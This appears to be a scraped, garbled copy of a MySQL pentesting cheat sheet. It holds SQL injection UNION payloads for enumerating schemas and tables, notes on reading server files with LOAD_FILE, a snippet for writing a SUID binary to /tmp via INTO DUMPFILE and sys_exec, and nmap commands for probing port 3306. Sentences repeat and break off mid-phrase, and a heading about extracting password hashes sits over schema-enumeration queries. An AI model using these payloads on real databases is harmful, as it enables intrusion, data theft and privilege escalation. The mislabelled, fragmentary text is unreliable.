Mysql Hacktricks Verified -

Extract password hashes for offline cracking:

' UNION SELECT group_concat(schema_name), NULL, NULL FROM information_schema.schemata-- - ' UNION SELECT group_concat(table_name), NULL, NULL FROM information_schema.tables WHERE table_schema='db'-- -

Enumeration of tables and schemas (if information_schema is accessible): mysql hacktricks verified

The LOAD_FILE() function reads file contents if MySQL has sufficient permissions. : secure‑file‑priv must be disabled or set to an empty string, and MySQL must have read permissions on the target file.

Add skip-symbolic-links to the MySQL configuration to prevent data directory pointer exploits. Extract password hashes for offline cracking: ' UNION

: Automating the identification of the MySQL service (default port 3306) and running audit scripts. nmap -sV -p 3306 --script mysql-audit .

-- Write a SUID binary SELECT 0x7f454c46... INTO DUMPFILE '/tmp/suid_bin'; -- Then chmod +s via sys_exec if available : Automating the identification of the MySQL service

nmap -p 3306 --script mysql-info <target>